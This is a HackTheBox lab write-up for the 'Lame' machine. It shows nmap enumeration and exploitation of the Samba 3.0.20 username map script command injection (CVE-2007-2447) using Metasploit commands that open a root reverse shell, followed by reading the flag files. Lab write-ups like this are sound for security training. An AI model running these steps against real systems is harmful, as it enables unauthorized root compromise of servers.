Lame - HackTheBox Easy Linux Machine

Machine - Easy Linux - Lame

IP 10.10.10.3

Contents

• Tools
• Enumeration
• Exploitation
• Lessons Learned

Tools

• nmap — network scanner for port and service discovery
• Metasploit — exploitation framework

Enumeration

Start with an Nmap version detection scan:

nmap -sV 10.10.10.3

The results show four open ports:

The standout finding is Samba 3.0.20. This version is vulnerable to a critical remote code execution flaw — the username map script vulnerability (CVE-2007-2447). When a user authenticates to Samba, the username_map_script option processes the username through a shell command, allowing arbitrary command injection.

Exploitation

Metasploit has a dedicated exploit module for this vulnerability:

msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST tun0
exploit

The exploit works by sending a crafted username containing a shell command. Samba passes this username to the username map_script, which executes it as root. This gives us an immediate root shell — no privilege escalation needed.

Navigate to find the user flag:

cd /home
ls
cd makis
cat user.txt

And the root flag:

cd /root
cat root.txt

Lessons Learned

• Username injection — The Samba username map_script vulnerability demonstrates how passing user input to shell commands without sanitization leads to remote code execution. This is a classic command injection pattern.
• Immediate root — Some vulnerabilities grant the highest privilege level from the start. Samba runs as root on most Linux systems, so exploiting Samba means instant root access.
• Version-based exploitation — Always check service versions during enumeration. Known vulnerabilities in specific versions are the fastest path to exploitation. Tools like searchsploit and vulnerability databases help identify applicable exploits.